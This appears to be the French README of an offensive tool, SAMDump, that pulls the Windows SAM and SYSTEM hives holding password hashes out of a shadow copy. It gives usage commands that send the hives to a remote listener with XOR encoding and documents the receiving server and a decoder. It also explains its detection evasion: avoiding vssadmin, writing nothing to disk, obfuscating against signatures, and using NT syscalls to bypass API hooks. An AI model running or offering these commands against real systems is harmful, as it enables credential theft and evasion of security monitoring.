
Extrayez les ruches SAM et SYSTEM à l'aide de l'API Volume Shadow Copy (VSS). Avec des options d'exfiltration et d'obfuscation XOR. En C#, C++, Crystal, Python, Rust, Golang, Nim et Deno (Javascript)
Extrait les fichiers SAM et SYSTEM de Windows en utilisant le service de cliché instantané de volume (VSS) avec plusieurs options d'exfiltration et d'obfuscation XOR :
Il est implémenté en C++, C#, Crystal et Python, et fonctionne sur les versions modernes de Windows.
Il nécessite des privilèges élevés, et si le cliché instantané est créé, il est automatiquement supprimé après environ 5 minutes.
SAMDump.exe [OPTIONS]
Options:
--save-local [BOOL] Save locally (default: false)
--output-dir DIR Output directory (default: C:\Windows\tasks)
--send-remote [BOOL] Send remotely (default: false)
--host IP Host for remote sending (default: 127.0.0.1)
--port PORT Port for remote sending (default: 7777)
--xor-encode [BOOL] XOR Encode (default: false)
--xor-key KEY Enable XOR with specified key (default: SAMDump2025)
--disk DISK Disk for shadow copy (default: C:\)
--help Show this help
Sauvegarde locale sans encodage :
SAMDump.exe --save-local --output-dir "C:\temp"

Sauvegarde locale avec encodage XOR :
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

Envoi vers un serveur distant avec encodage XOR et clé par défaut :
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py est un serveur Python qui reçoit les fichiers sur le réseau avec décodage XOR automatique et formatage du nom de fichier :
python server.py [OPTIONS]
Options:
--host HOST IP address to listen on (default: 0.0.0.0)
--port PORT Port to listen on (default: 7777)
--xor-key KEY Key for XOR decoding (optional)
Écouteur sur une interface et un port spécifiques avec clé XOR :
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

Le nom de fichier contient l'adresse IP et la date, ce qui permet d'envoyer les fichiers depuis différents systèmes, automatisant ainsi le processus.
xor-decoder.py est un script Python pour décoder localement les fichiers SAM et SYSTEM encodés en XOR :
python xor-decoder.py [OPTIONS]
Options:
--sam SAM Path to encoded SAM file (required)
--system SYSTEM Path to encoded SYSTEM file (required)
--xor-key KEY XOR key for decoding (default: SAMDump2025)
--output-dir DIR Output directory for decoded files (default: ./decoded)
Décodage avec la clé par défaut :
python xor-decoder.py --sam sam.txt --system system.txt

Décodage avec clé personnalisée et répertoire de sortie :
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

Le projet comprend des versions implémentées dans trois langages :
comtypes (pip install comtypes)Je souhaitais automatiser ce processus et la plupart des systèmes Windows que je rencontre exécutent VSS, mais les solutions de sécurité détectent l'utilisation de vssadmin pour créer des clichés instantanés et extraire ces fichiers car il s'agit d'une technique bien connue.
Cet outil extrait les fichiers sans écrire sur le système de fichiers cible lors de l'utilisation du mode de transfert distant ; et l'encodage XOR offre une obfuscation de base pour contourner la détection basée sur les signatures (même en mode distant).
De plus, il utilise les appels API NT pour contourner certaines surveillances et hooks d'API en mode utilisateur.
L'outil utilise des appels système NT au lieu des fonctions API Windows standard, ce qui peut contourner certains hooks d'API en mode utilisateur couramment surveillés :
NtCreateFile et NtReadFile : Utilisés pour ouvrir un handle et lire les octets des fichiers SAM et SYSTEM dans le cliché instantané
NtWriteFile : Utilisé pour sauvegarder les fichiers localement
Merci à @vx-underground d'avoir identifié et suggéré des optimisations dans le code de parcours de la table d'exportation des adresses (EAT), en remplaçant les appels inutiles NtReadVirtualMemory par un accès direct aux pointeurs.